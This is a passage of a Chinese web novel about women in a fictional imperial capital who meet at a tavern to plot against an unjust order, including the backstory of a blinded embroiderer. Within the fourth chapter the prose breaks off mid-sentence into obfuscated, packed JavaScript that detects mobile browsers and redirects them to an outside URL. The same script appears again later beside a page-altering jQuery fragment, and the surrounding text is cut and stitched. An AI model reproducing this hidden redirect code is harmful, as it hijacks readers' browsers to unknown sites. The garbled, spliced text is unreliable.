那些名字,那些数字,那些女儿。 她记得每一个。 因为每一个,都是她妹妹。 “大小姐!” 门外传来喊声,把她从回忆里拉出来。 苏锦睁开眼,把账本合上,塞进抽屉里。 “进来。” 进来的是她的心腹,叫阿福,跟了她十年了。阿福手里捧着一封信,满脸堆笑:“大小姐,京城来的信。” 苏锦接过信,拆开。 信上只有八个字:腊月廿八,风月楼,酉时。 落款是一朵梅花。 她看着那朵梅花,手指轻轻摩挲着纸面。 谢知微。 大燕宰相,相中狼。 她们见过一次面。那是三年前,她进京办事,被人算计,差点翻船。是谢知微帮了她一把,把那个算计她的人办了。 她问谢知微,为什么帮她? 谢知微说,因为你还有用。 她笑了。有用好,有用才能活着。 后来她知道,谢知微帮她,是因为她妹妹的事。 谢知微查过她,知道她妹妹被卖进青楼,知道她妹妹死在里面,知道她这些年放贷,知道她那些账本。 谢知微什么都知道。 可谢知微还是帮了她。 为什么? 她不知道。但谢知微既然帮了她,她就欠谢知微一个人情。 现在,那个人情该还了。 “阿福,”她说,“准备船,去京城。” 阿福愣了一下:“大小姐,这大过年的……” 苏锦看了他一眼。 阿福立刻闭嘴,应声而去。 三天后,苏锦站在京城的风月楼门口。 天快黑了,灯笼已经点起来,红彤彤的一片。她抬头看着那块匾,匾上三个字:风月楼。字写得一般,可笔力很足,像是练过多年字的人写的。 她正要进门,忽然听见身后有人喊她。 “苏老板。” 她回头一看,是个穿青布衣裳的女子,站在一辆马车旁边,正冲她笑。 是白芷。 她昨天去医谷送信的时候,见过这个女大夫。白芷当时冷着脸,一副拒人千里的样子,可她还是看得出来,那冷脸底下,藏着东西。 “白大夫?”她笑了,“您也来了?” 白芷走过来,站在她面前。 “苏老板,”白芷说,“您昨天说,您在等我?” 苏锦点点头。 白芷看着她:“为什么等我?” 苏锦想了想,说:“因为您跟我一样。” 白芷没说话。 苏锦继续说:“都是从死人堆里爬出来的,都一个人扛着,都想换个活法。这样的人,我遇见的少。遇见了,就想拉一把。” 白芷看着她,目光很复杂。 过了好一会儿,白芷才说:“苏老板,您这嘴,能说会道。” 苏锦笑了:“那是。不会说,怎么做生意?” 白芷也笑了,笑得很淡,但确实是笑了。 两个人一起走进风月楼。 楼里人声鼎沸,大堂里坐满了客人,跑堂的端着盘子穿梭来去,热闹得像过年。一个穿红衣裳的女人迎上来,笑盈盈地说:“两位是听梅阁的客人吧?楼上请。” 苏锦认出这个女人。 沈醉,风月楼老板娘,酒中仙。 她冲沈醉点点头,跟着往楼上走。 白芷跟在她身后。 走到楼梯口,苏锦忽然停下来,回头看了一眼。 门口进来一个人,穿黑衣,腰里悬着剑,浑身上下冒着寒气。 剑中霜,谢霜寒。 苏锦收回目光,继续往上走。 听梅阁在三楼最里面,窗户正对着胭脂河。苏锦推门进去的时候,里面已经坐了三个人。 谢知微坐在主位,还是一身半旧的朝服,头发白了半边,可眼睛亮得像刀。 她旁边坐着两个人。一个是盲眼的女人,穿素色衣裳,手指上全是针眼,是绣中魂云娘。另一个是穿红衣的女子,生得极美,眉眼间带着一股媚气,可仔细看,那媚气底下全是冷——乐中妖,花解语。 苏锦走进去,冲谢知微拱了拱手:“谢相。” 谢知微点点头:“苏老板,坐。” 苏锦坐下,白芷坐在她旁边。 没一会儿,谢霜寒也进来了,坐在角落里,一言不发。 七个人,到了六个。 沈醉最后一个进来,手里拎着一坛酒,往桌上一放:“人齐了,开喝?” 谢知微看了她一眼,沈醉收起笑,在她旁边坐下。 七盏酒摆上桌,七双眼睛看着谢知微。 谢知微端起酒盏,没有急着喝,看着她们,一个一个看过去。 “诸位,”她说,“今天请你们来,是想问一件事。” 没有人说话。 谢知微继续说:“这世道,咱们都受够了。我母亲因提‘女子读书’被赐死,沈老板的娘被卖进窑子,谢阁主的娘死在北狄兵的刀下,白大夫的爹被诬陷满门抄斩,苏老板的妹妹被卖入青楼,云娘被挖了眼睛,花解语的娘被活活打死——” 她一个一个说过去,每一个名字,每一桩惨事,都像刀子一样。 苏锦听着,手指慢慢收紧。 她想起她妹妹。 七岁的小丫头,被卖进那种地方,第二年就死了。怎么死的?病死的?还是别的什么死法?她不知道。她只知道,她妹妹死的时候,她在当铺里打算盘,一下一下,噼里啪啦。 谢知微说:“咱们都是死过一回的人了。能活到现在,靠的是什么?靠的是不甘心。不甘心就这么认命,不甘心让那些害咱们的人逍遥自在,不甘心让以后的女子,还跟咱们一样受苦。” 她举起酒盏。 “所以,我想问你们一句——愿不愿意,跟我一起,换一个活法?” 没有人回答。 沉默。 苏锦看着手里的酒盏,酒是女儿红,色泽金黄,香气醇厚。 她忽然想起一件事。 三年前,谢知微帮她那次,她问谢知微,为什么帮她? 谢知微说,因为你还有用。 那今天呢? 今天谢知微找她们来,说换一个活法。用什么换?用命换。 她不怕用命换。 她这条命,本来就不值钱。 可她想知道,谢知微拿什么让她们信。 “谢相。” 她开口了。 所有人都看向她。 苏锦放下酒盏,看着谢知微。 “您刚才说的那些,我都信。”她说,“我只想问一句——您拿什么让我们信您?” 谢知微看着她,没有说话。 苏锦继续说:“您要换一个活法,行。我陪您换。可这活法怎么换?换成了什么样?换不成怎么办?您得说清楚。” 谢知微还是没有说话。 苏锦从怀里摸出一样东西,放在桌上。 是一本账本。 账本很旧,封皮都磨破了,边角卷起来,黄得发脆。 “这是我这些年放贷的账本。”苏锦说,“上面记着那些欠债的人,还有他们拿来抵债的东西——房子、田地、女儿。每一个名字,我都记得。因为每一个,都是我妹妹。” 谢知微看着那本账本,眼神微微一凝。 苏锦说:“这些账本,我留了十年。为什么留?因为我得记着。记着那些人是被谁害的,记着那些女儿是卖到哪里的,记着这世道有多黑。” 她看着谢知微。 “谢相,您要换活法,我投钱。我有很多钱,够您办很多事。可我有两个条件。” 谢知微说:“说。” 苏锦说:“第一,我妹妹苏绣,七岁被卖进青楼,第二年就死了。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她想起很多年前,她妹妹也喜欢喝酒。不是真酒,是米汤,装在碗里当酒喝。她妹妹说,姐姐,等我长大了,我请你喝真的酒。 她没能等到那一天。 可今天,她替她妹妹喝了。 窗外的雪不知什么时候停了。 月光照在雪地上,白得像银子。 苏锦看着那月光,忽然想起一件事。 她小时候,她娘教她认字。她娘说,女子也要识字,不为了考功名,就为了将来不被骗。她那时候不懂,问她娘,谁会骗她? 她娘说,这世道。 她那时候还是不懂。 现在她懂了。 这世道会骗你,会坑你,会把你吃得骨头都不剩。 可你不能让它白吃。 你得咬回去。 苏锦放下酒盏,看着谢知微。 “谢相,”她说,“您说的那个‘活法’,什么时候开始?” 谢知微看着她,眼睛里有一丝笑意。 “从明天开始。”她说。 苏锦点点头,站起身,走到窗边。 窗外是胭脂河,河水黑沉沉的,看不见底。河对岸是京城的街市,灯火通明,隐隐约约能听见叫卖声。 她看着那些灯火,忽然想起她妹妹的脸。 那张脸早就模糊了,记不清了。可她还记得那双眼睛,亮亮的,看着她,喊她姐姐。 姐姐,等我长大了,我请你喝真的酒。 她没喝到。 可总有一天,会有很多人喝到。 那些女孩,那些像她妹妹一样的女孩,不用被卖,不用死,不用在青楼里等死。 她们可以喝酒,可以读书,可以做任何想做的事。 苏锦转过身,看着屋里的六个人。 谢知微,白发如雪,眼神如刀。 沈醉,一身红衣,醉眼朦胧底下全是清醒。 谢霜寒,黑衣冷面,腰间的剑从不出鞘,出鞘必杀人。 白芷,素衣淡妆,手里捏着个药包,不知道是救人还是杀人的。 云娘,盲眼枯坐,手指上的针眼密密麻麻,像满天星斗。 花解语,媚眼如丝,嘴角噙着笑,可那笑底下全是冷。 这是她这辈子见过的,最奇怪的一群人。 也是最像她的一群人。 苏锦忽然笑了。 “行,”她说,“那咱们就赌一把。” 沈醉举起酒坛:“赌!” 谢霜寒没有说话,端起酒盏,一饮而尽。 白芷喝得慢,一小口一小口,像在品药。 云娘看不见,但她的酒盏空了,一滴不剩。 花解语喝得优雅,喝完还舔了舔嘴唇,像只偷腥的猫。 谢知微喝完,把酒盏往桌上一放,站起身。 “诸位,”她说,“从今天起,咱们是一条船上的人了。” 苏锦看着她,忽然问:“谢相,这船往哪儿开?” 谢知微看着她,笑了。 “往该去的地方开。” 苏锦点点头,没再问。 她知道该去什么地方。 那个地方,她等了十几年。 夜深了。 风月楼的客人散了,灯笼一盏一盏熄灭。 苏锦站在听梅阁的窗边,看着胭脂河的水慢慢流。 沈醉走过来,站在她旁边。 “苏老板,”沈醉说,“你那账本,是真的舍得?” 苏锦没回头:“舍得。” 沈醉说:“那可是你十年的心血。” 苏锦笑了:“心血?那是我十年的债。背着那些债,我睡不着觉。” 沈醉看着她,没说话。 苏锦转过头,看着她。 “沈老板,你呢?你拿什么赌?” 沈醉想了想,说:“我拿这条命。” 苏锦点点头:“那咱们一样。” 沈醉笑了。 两个人站在窗边,看着河水。 远处传来梆子声,三更天了。 苏锦忽然说:“沈老板,你知道我为什么叫苏锦吗?” 沈醉摇摇头。 苏锦说:“我娘起的。她说,锦是好东西,值钱,好看。她希望我值钱,好看,活得体面。” 沈醉问:“那你活得体面吗?” 苏锦想了想,说:“现在还不算。等成了,就体面了。” 沈醉笑了,笑得很大声。 苏锦也笑了。 笑声在夜风里飘出去,飘到河面上,飘到对岸的街市上。 没有人听见。 可苏锦觉得,她妹妹听见了。 ——第四章完—— 6. 云娘的针与局(绣中魂主线) 第五章云娘的针与局 京城东城的甜水巷深处,有一家绣坊,门脸不大,连块招牌都没有。只有门上挂着一块旧布,布上绣着一朵梅花,针脚细密,栩栩如生。 认得这朵梅花的人,才知道里头是做什么的。 不认得的,从门口走过一百遍,也只会当这是户普通人家。 云娘坐在绣坊的窗边,手里捏着一根针。 窗是关着的,因为她的眼睛看不见,开窗关窗对她来说没分别。可她还是习惯坐在窗边,听着外面的动静。 脚步声,说话声,车轮声,叫卖声。 她听了一辈子,什么声音都听得出来。 门外传来脚步声,轻轻的,小心翼翼的。是个姑娘,十七八岁,穿着布鞋,走路脚尖先着地——是个学过规矩的,可能是哪家的小丫鬟,也可能是哪家的穷亲戚。 门被推开了。 “云娘?” 云娘点点头:“进来。” 姑娘走进来,站在她面前,有些紧张。 云娘“看”着她,虽然看不见,但她能感觉到那姑娘的目光在自己脸上转了一圈,然后停在她的眼睛上。 她的眼睛是闭着的。不是不想睁开,是睁不开。眼眶里是空的,什么都没有。 “坐。”云娘说。 姑娘在她对面坐下。 云娘问:“想学绣花?” 姑娘“嗯”了一声,声音细细的。 云娘说:“把手伸出来。” 姑娘把手伸过来。 云娘捏住她的手,一根手指一根手指摸过去。指腹,指节,掌心,手背。摸完了左手摸右手。 姑娘被她摸得有些不自在,可没敢动。 云娘摸完,松开手。 “手太嫩。”她说,“没干过粗活?” 姑娘愣了一下,小声说:“我……我原先在人家家里做丫鬟,不干粗活,只伺候小姐。” 云娘点点头:“伺候小姐什么?” 姑娘说:“陪小姐绣花。小姐绣,我帮着穿针引线。” 云娘“嗯”了一声:“那你应该会一点。” 姑娘说:“会一点,可绣不好。小姐说我手笨。” 云娘笑了。 她笑起来的样子很好看,嘴角弯弯的,眼角的皱纹也弯弯的,像个月牙。 “手笨?”她说,“手笨不怕,怕的是心笨。心不笨,手就能练出来。” 姑娘松了口气。 云娘说:“你叫什么?” 姑娘说:“我叫阿桑。桑树的桑。” 云娘点点头:“阿桑,你想学绣花,是为了什么?” 阿桑沉默了一会儿,小声说:“为了……为了活下去。” 云娘没有说话。 阿桑继续说:“我伺候的那个小姐,出嫁了,不带我去。我没了营生,又没地方去,听说您这儿教绣花,就想来学。学好了,自己能挣口饭吃。” 云娘听着,脸上没什么表情。 可她心里想起了一个人。 很多年前,也有一个姑娘这样站在她面前,这样说:我想学绣花,为了活下去。 那个姑娘是她自己。 那时候她还不叫云娘,叫阿云。 阿云生在绣户人家。她娘是绣娘,她姥姥也是绣娘,往前数三代,都是绣娘。她从小就拿针,五岁能绣花,十岁能绣鸟,十五岁的时候,绣出来的东西拿到铺子里,能卖出好价钱。 她娘说,好好绣,将来找个好人家,不用像娘一样苦一辈子。 她问,什么叫好人家? 她娘说,有饭吃,有衣穿,不打老婆。 她听了,点点头,继续绣。 十七岁那年,她绣了一幅“百鸟朝凤”,拿到铺子里去卖。铺子里的掌柜看了,眼睛都直了,说这手艺,整个京城也找不出第二个。 那天,她在铺子里遇见一个人。 是个穿绸衫的中年男人,说是哪个王府的管事。他看了她的绣品,问她想不想进王府当绣娘,吃皇粮,拿月钱。 她心动了。 回去跟她娘商量,她娘也心动。 她就去了。 王府真大,真好看。她住在一间小屋子里,每天绣花,绣不完的花。王府里的太太小姐们穿的衣服,盖的被子,挂的帘子,都是她们这些绣娘绣的。 她以为这就是好日子了。 直到那一天。 那天,王府里来了贵客,是个什么大人。大人看了她绣的东西,问是谁绣的。管事说是新来的那个丫头,手巧得很。 大人说,让她来,我看看。 她被叫去了。 大人看了她半天,问她会绣字吗? 她说会。 大人说,那你会绣“女子科举”四个字吗? 她愣住了。 她不知道什么叫“女子科举”。她只知道科举是男子的事,跟女子没关系。 大人说,你不知道?那就算了。 她回去了。 可她心里一直想着那四个字。 女子科举。 女子也能科举吗?女子也能读书考试当官吗?她从来没想过。 她问别的绣娘,别人都摇头,说不知道,别瞎打听。 可她还是忍不住想。 那天晚上,她睡不着,起来绣了一方帕子。帕子上绣了四个字:女子科举。绣完了,她自己看着,觉得好看。 第二天,有人来了。 是王府的侍卫。 他们把她从绣房里拖出来,按在地上,问她那方帕子是谁让她绣的。 她说没人让,是她自己绣着玩的。 他们不信。 他们说,这是谋反,这是大逆不道,这是要杀头的。 她吓得浑身发抖,说我真的不知道,我就是觉得这四个字好看。 他们说,好看?那就让你以后都看不见。 然后他们把她的眼睛挖了。 她惨叫,她挣扎,她求饶。 没有用。 她的眼睛没了。 后来她被赶出王府,像个死人一样躺在街上。有人认出她,把她送回家。她娘看见她的样子,当场就晕过去了。 她躺在床上,蒙着眼睛,躺了三个月。 三个月里,她想过死。很多次。 可她娘看着她,天天哭,天天守着她,她死不了。 三个月后,她拆了蒙眼的布。 眼前一片黑。 她再也看不见了。 她娘说,阿云,往后怎么办? 她说,绣花。 她娘说,你都看不见了,怎么绣? 她说,用手。 她真的用手绣。 一开始绣得乱七八糟,针扎得满手都是血。可她不死心,一遍一遍练。练了一年,她能绣出直线了。练了两年,她能绣出花了。练了三年,她绣出来的东西,比明眼人还好。 怎么做到的? 用手摸。 她绣的时候,先用手指摸布料,记住布的纹理。再摸花样,记住花样的样子。然后一针一针绣,绣一针摸一针,绣错了就拆了重来。 慢,太慢了。 可她有的是时间。 她娘死的那年,她三十岁。她娘临死前拉着她的手说,阿云,娘对不起你,没能保护好你。 她摇摇头,说,娘,您把我生下来,就是最大的保护。 她娘死了。 她一个人活着。 后来她开了这家绣坊,教人绣花。来学的都是穷人家的姑娘,没活路的姑娘,跟她当年一样。 她教她们绣花,也教她们别的。 比如,怎么在绣布里藏消息。 比如,怎么用绣品传递密信。 比如,怎么让那些看不起她们的人,有一天死在她们绣的花里。 “云娘?” 阿桑的声音把她拉回来。 云娘眨了眨眼,发现自己走了神。 “嗯。”她说,“你继续说。” 阿桑说:“我说完了。就是想学绣花,活下去。” 云娘点点头:“行,我收你。” 阿桑喜出望外:“真的?” 云娘说:“真的。不过我有规矩。” 阿桑连忙说:“您说,我记着。” 云娘说:“第一条,每天卯时来,酉时走。不许迟到,不许早退。” 阿桑点头。 云娘说:“第二条,学的时候专心学,不许问东问西。” 阿桑点头。 云娘说:“第三条——” 她顿了顿。 “第三条,我让你绣什么,你就绣什么。不许问为什么,不许告诉别人。” 阿桑愣了一下,然后点点头。 云娘“看”着她,虽然看不见,但她能感觉到那姑娘的紧张。 “怕了?”她问。 阿桑摇摇头,又点点头,最后小声说:“有点。” 云娘笑了。 “怕就对了。”她说,“不怕的人,活不长。” 她从针线筐里摸出一根针,递给阿桑。 阿桑接过针,不知道她要干什么。 云娘说:“拿着这根针,扎一下自己的手指。” 阿桑愣住了。 云娘说:“扎。” 阿桑咬着牙,把针尖往指腹上一扎。 “嘶——”她倒吸一口凉气,指尖冒出一滴血珠。 云娘说:“疼吗?” 阿桑点头:“疼。” 云娘说:“记住这个疼。以后你绣的每一针,都是这个疼换来的。一针一疼,绣出来的东西,才是你的。” 阿桑看着指尖那滴血,似懂非懂地点点头。 云娘从她手里拿回针,在自己指腹上也扎了一下。 一滴血冒出来,和她看不见的眼睛一样红。 “我也是。”她说。 那天晚上,阿桑走了之后,云娘一个人坐在窗边。 夜很深了,外面没有声音。 她听着自己的心跳,一下一下,很慢。 忽然,她听见了另一个声音。 脚步声。 很轻,很稳,是个练家子。 她不动声色,继续坐着。 门被推开了。 进来的人没有说话,走到她面前,停住。 云娘“看”着那个人,问:“谁?” 那人说:“沈老板让我来的。” 云娘点点头。 沈醉的人,她认得。 那人从怀里摸出一封信,放在她手里。 “腊月廿八,风月楼,酉时。”那人说,“沈老板让我告诉您,都准备好了。” 云娘把信攥在手里,没有说话。 那人等了一会儿,见她不说话,转身走了。 门关上了。 云娘一个人在黑暗里坐着。 她看不见,可她摸得着。 她把信凑到鼻尖,闻了闻。信纸上有墨的味道,还有一点点香。梅花的香。 她用手指摸着信纸,一个字一个字摸过去。 腊月廿八,风月楼,酉时。 八个字,她摸了很久。 然后她把信叠好,收进怀里。 腊月廿八。 还有五天。 她不知道那个叫谢知微的女人想干什么,但她知道,这一天,她等了很久。 从眼睛被挖掉那天起,她就在等。 等一个机会,让那些害她的人,也尝尝看不见的滋味。 第二天一早,阿桑来了。 云娘开始教她绣花。 阿桑确实手笨,穿个针都要穿半天。云娘也不急,就让她慢慢穿,穿好了再教她怎么拿针,怎么走线,怎么起针收针。 阿桑学得很认真,额头都冒汗了。 中午的时候,云娘让她歇一会儿,自己去后院做饭。 阿桑跟过来,想帮忙。 云娘说:“不用,你坐着。” 阿桑只好坐着,看着她做饭。 云娘看不见,可她在厨房里比明眼人还利索。摸到灶台,摸到水缸,摸到菜刀,摸到锅。她切菜的时候,刀贴着手指,切得又快又细,一根手指都没伤着。 阿桑看得目瞪口呆。 吃完饭,继续绣。 下午的时候,来了个人。 是个年轻女子,穿得很素净,一看就是好人家的姑娘。她进来的时候有些紧张,东张西望的,像怕被人看见。 阿桑起身要招呼,云娘按住她的手,自己开口。 “姑娘找谁?” 那女子小声说:“我……我听说您这儿教绣花?” 云娘点点头:“想学?” 女子犹豫了一下,说:“不是学,是想……想请您绣个东西。” 云娘说:“绣什么?” 女子从袖子里摸出一块布,递给她。 云娘接过布,用手指摸着。 布是白色的细绢,上面画着花样。她一点一点摸过去,摸到一半,手指停住了。 这花样不是花,不是鸟,是字。 是四个字。 女子科举。 云娘的手微微抖了一下。 她把这四个字摸了一遍又一遍,摸得指尖都发烫了。 “谁让你来的?”她问。 女子小声说:“没人让。是我自己……自己想绣。” 云娘说:“你知道这四个字是什么意思吗?” 女子沉默了一会儿,说:“知道。” 云娘说:“那你还敢绣?” 女子说:“敢。” 云娘说:“你不怕?” 女子说:“怕。可更怕一辈子就这样。” 云娘没有说话。 她想起很多年前,自己也是这样想的。怕,可更怕一辈子就这样。 然后她的眼睛没了。 “云娘?”女子见她不说话,有些不安,“您……您不接?” 云娘把布还给她。 “接。”她说,“三天后来取。” 女子喜出望外,连连道谢,走了。 阿桑在旁边看着,一脸懵。 “云娘,”她小声问,“女子科举是什么?” 云娘“看”着她,说:“你不知道?” 阿桑摇头。 云娘想了想,说:“就是女子也能读书,也能考试,也能当官。” 阿桑愣住了。 “女子……也能当官?” 云娘点点头。 阿桑想了半天,说:“那……那挺好的。” 云娘笑了。 “是啊,挺好的。” 她站起身,走到窗边,推开窗。 外面是下午的太阳,暖洋洋的,可她看不见。 她只感觉到风,吹在脸上,凉丝丝的。 “阿桑,”她说,“你想读书吗?” 阿桑愣了一下:“我?我能读书?” 云娘说:“能。想学就能。” 阿桑咬着嘴唇,半天没说话。 最后她小声说:“想。” 云娘点点头,没再说什么。 那天晚上,云娘开始绣那方帕子。 她看不见,可她摸得着。她用指尖一点一点摸着那四个字的笔画,一针一针绣出来。 女子科举。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334411|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这四个字,她二十年前绣过一次。 那次绣完,她的眼睛没了。 二十年后,她又绣了一次。 这一次,她想看看,会怎么样。 绣到一半,她忽然停下来。 门外有声音。 不是脚步声,是呼吸声。很轻,很细,像有人在门外偷听。 云娘不动声色,继续绣。 过了一会儿,那呼吸声消失了。 人走了。 云娘冷笑一声。 皇帝的狗,鼻子真灵。 她继续绣,一针一针,不紧不慢。 绣到深夜,终于绣完了。 她把帕子凑到灯下,用手指摸着。 四个字,每一个字她都摸得清清楚楚。 女子。科举。 她忽然想起那个姑娘的脸。 那张脸她看不见,但她能感觉到。那是一张年轻的脸,紧张的脸,渴望的脸。 那张脸,像极了她自己。 她把这方帕子叠好,收进柜子里。 三天后,那姑娘来取的时候,她问她:“你叫什么?” 姑娘说:“我叫阿蘅。” 云娘点点头,把帕子递给她。 “拿着,”她说,“好好收着。” 阿蘅接过帕子,看了又看,眼眶红了。 “云娘,”她小声说,“谢谢您。” 云娘摇摇头,没说话。 阿蘅走了。 阿桑在旁边看着,忽然问:“云娘,她会不会出事?” 云娘沉默了一会儿,说:“会。” 阿桑吓了一跳:“那您还帮她?” 云娘说:“帮她,就是帮我自己。” 阿桑不明白。 云娘说:“你知道我的眼睛是怎么没的吗?” 阿桑摇头。 云娘说:“就是因为绣了这四个字。” 阿桑倒吸一口凉气。 云娘继续说:“二十年前,我绣了这四个字,眼睛没了。二十年后,还有人敢来绣这四个字。你知道这意味着什么吗?” 阿桑摇头。 云娘说:“意味着,二十年前那些人的刀,没把人吓住。” 她顿了顿,声音低下去。 “意味着,还有人敢想,敢要,敢拼。” 阿桑听着,眼眶也红了。 云娘伸出手,在她手背上拍了拍。 “阿桑,”她说,“你记住。针下生花,也能生路。” 阿桑用力点头。 腊月二十八那天,云娘一早起来,换了一身干净衣裳。 阿桑在旁边伺候着,问她:“云娘,您要出门?” 云娘点点头。 阿桑问:“去哪儿?” 云娘说:“见几个人。” 阿桑不敢再问。 云娘走到门口,忽然停下来,回过头。 “阿桑,”她说,“我柜子里有几方绣好的帕子,都收好了。如果有人来找我,你就把那些帕子给她们。” 阿桑愣了一下:“给谁?” 云娘说:“给那些想绣‘女子科举’的人。” 阿桑点点头。 云娘推开门,走出去。 外面是灰蒙蒙的天,冷风刮在脸上,像刀子。 她摸索着往前走,一步一步,走得很慢。 可她走得稳。 因为她知道路。 这条路,她走了二十年。 走到巷子口,有一辆马车停在那里。 车帘掀开,露出一张脸。 是沈醉。 “云娘,”沈醉说,“上车。” 云娘摸索着上了车。 车里坐着五个人。 谢知微,谢霜寒,白芷,苏锦,花解语。 她们都看着她。 云娘“看”着她们,虽然看不见,但她能感觉到那些目光。 有冷的,有热的,有复杂的,有好奇的。 她笑了一下。 “人都齐了?”她问。 沈醉说:“齐了。” 云娘点点头。 马车动起来,往风月楼去。 车里很安静,没有人说话。 云娘坐在角落里,手指无意识地捻着袖口。 袖口上绣着一朵梅花,是她自己绣的。 针脚细密,栩栩如生。 她摸着那朵梅花,忽然想起很多年前,她娘说过的话。 她娘说,阿云,你的手是老天爷给的,能绣出花来。 她那时候不懂。 现在她懂了。 她的手能绣出花,也能绣出路。 给她自己的路,也给别人的路。 马车停了。 沈醉说:“到了。” 云娘摸索着下车,跟着她们走进风月楼。 楼里很热闹,人声鼎沸。她能听见划拳声,说笑声,杯盏碰撞声。 她们穿过大堂,上楼,走到最里面的一间雅间。 门推开,云娘走进去。 里面暖烘烘的,生着炉子。 她摸索着坐下。 谢知微的声音响起来:“云娘,你能来,我很高兴。” 云娘点点头。 谢知微说:“你的眼睛,是因为那四个字没的。我们都知道。” 云娘没说话。 谢知微继续说:“今天请你来,是想问你一句——愿不愿意,跟我们一起,换一个活法?” 云娘沉默了一会儿。 然后她笑了。 “谢相,”她说,“我等这句话,等了二十年。” 她从怀里摸出一样东西,放在桌上。 是一方帕子。 帕子上绣着四个字:女子科举。 谢知微拿起那方帕子,看着那四个字,手指微微发抖。 云娘说:“这是我今天早上绣的。二十年前我绣了一次,眼睛没了。二十年后我又绣了一次。我想看看,这一次,会怎么样。” 谢知微看着她,眼眶红了。 云娘“看”着她,虽然看不见,但她能感觉到。 “谢相,”她说,“我眼睛没了,可我手还在。你们需要绣什么,传什么,藏什么,交给我。” 谢知微握着那方帕子,用力点头。 七盏酒摆在桌上。 云娘端起酒盏,凑到鼻尖闻了闻。 是女儿红,醇香扑鼻。 她举起酒盏,和她们碰在一起。 七盏酒,七个人。 窗外,雪落无声。 云娘把酒喝了,酒从喉咙一直暖到心里。 她忽然想起那个叫阿蘅的姑娘,想起那个叫阿桑的丫头,想起那些来学绣花的穷人家的女孩。 她们都是她。 都是想活下去,想活得好的人。 她放下酒盏,轻声说了一句话。 “针下生花,也能生路。” 谢知微看着她,问:“云娘,你说什么?” 云娘笑了笑,摇摇头。 “没什么。”她说,“就是想起一句话。” 窗外,雪还在下。 听梅阁里,七个女人坐在一起。 她们有老有少,有瞎有明,有钱有穷,有文有武。 可她们有一个共同点。 她们都不认命。 云娘坐在角落里,摸着袖口那朵梅花。 梅花是她自己绣的,用最好的丝线,最密的针脚。 绣了二十年,她闭着眼睛也能绣出来。 因为她心里有一朵梅花。 那朵梅花,叫希望。 ——第五章完—— 7. 花解语的琴与刃(乐中妖主线) 京城教坊司坐落在皇城东南角,是一处三进的院子,朱门碧瓦,看着体面,里头却藏着说不尽的腌臜。 花解语住在最后一进,一间不大的屋子里,除了一张床、一张桌、一架琴,再没有别的。墙上连幅画都没挂,白得晃眼。 可她喜欢这样。 干净。 她的琴是桐木的,老料,漆色深得发黑。那是她娘留给她的,传了三代。她娘死的时候,这架琴就放在她娘身边,琴弦上还沾着血。 她娘的血。 花解语坐在琴前,手指轻轻拨了一下琴弦。 “嗡——” 一声低鸣,在空荡荡的屋子里回荡。 她听了一会儿,等余音散尽,才慢慢弹起来。 《广陵散》。 这首曲子她弹了二十年,从五岁弹到现在。每一个音符都刻在骨头里,闭着眼睛也不会错。 可她今天弹得慢。 很慢。 慢得每一个音都拖得很长,像是在等什么。 窗外有人在听。 她知道。 教坊司的嬷嬷最喜欢派人盯着她,因为她“不老实”。什么叫不老实?就是不该笑的时候笑了,不该看的时候看了,不该记住的东西记住了。 可她偏要记住。 她娘死的那天,她才五岁。她不懂什么叫死,只知道娘躺在地上,一动不动,身上全是血。旁边站着一个穿官服的人,正在擦刀。 那个人看见她,笑了一下,说:“这丫头还小,送教坊司去吧。长大了,能卖个好价钱。” 她就这么被送进了教坊司。 嬷嬷问她叫什么,她说叫花解语。 嬷嬷笑了,说这名字谁给你起的? 她说,我娘。 嬷嬷说,你娘是做什么的? 她想了想,说,弹琴的。 嬷嬷又笑了,说,那你也会弹琴? 她点点头。 嬷嬷说,那你以后就弹琴。 她就在教坊司里弹琴,弹了二十年。 从五岁弹到二十五岁。 从一个小丫头,弹成了教坊司的头牌。 那些来听琴的人,有官员,有富商,有勋贵,有将军。他们听她弹《广陵散》,听她弹《高山流水》,听她弹《梅花三弄》。他们夸她弹得好,说她的手是神仙给的,说她的人比琴还好看。 他们不知道,她弹的每一个音,都是给她娘听的。 因为《广陵散》里,藏着一个秘密。 那是一个只有她和她娘知道的秘密。 当年她娘教她弹这首曲子的时候,一遍一遍教,教了整整一年。她那时候小,不懂为什么一首曲子要学这么久。她娘说,因为你不仅要学会弹,还要学会听。 学会听什么? 听曲子里的话。 她娘在曲子里藏了密语。把那些特定的音连起来,就是一句话。那句话,是她娘要传递的消息。 后来她娘死了,她学会了听。 可她从来没听过。 因为她不知道,那些消息要传给谁。 直到三个月前。 那天她弹完一曲,有人递给她一张纸条。 纸条上只有一行字:腊月廿八,风月楼,酉时。用《广陵散》回信。 她看完,把纸条烧了。 然后她开始弹《广陵散》。 把那些藏了二十年的消息,一个一个弹出来。 她不知道有没有人听,不知道听的人是谁。 可她相信,那个人在听。 因为那是她娘用命传下来的。 “花姑娘!” 门外传来尖细的喊声,打断了她的琴音。 花解语手指一顿,余音戛然而止。 “进来。” 门被推开,进来的是教坊司的嬷嬷,姓周,是个五十来岁的胖女人,笑起来满脸褶子,不笑起来满脸横肉。 周嬷嬷笑眯眯地说:“花姑娘,好事儿,大好事儿!” 花解语看着她,没说话。 周嬷嬷说:“北狄来的贵客,点了你的名,要你去陪酒。” 花解语眼神微微一凝。 北狄。 两国正在打仗,北狄的使团却来了京城。说是议和,其实是来耀武扬威的。皇帝不敢得罪他们,好吃好喝供着,还让教坊司的姑娘去陪酒。 “怎么,”周嬷嬷见她不动,脸色变了变,“花姑娘不愿意?” 花解语站起来,理了理衣裳。 “愿意。”她说,“怎么不愿意。” 周嬷嬷的脸色又变回来,笑着在前头带路。 花解语跟在她后面,走过长长的回廊,走到前院的正厅。 正厅里灯火通明,酒气熏天。 一张大圆桌旁坐着七八个人,有穿汉人官服的,有穿北狄皮袍的。主位上坐着一个北狄大汉,满脸横肉,胡子拉碴,正搂着一个教坊司的姑娘喝酒。 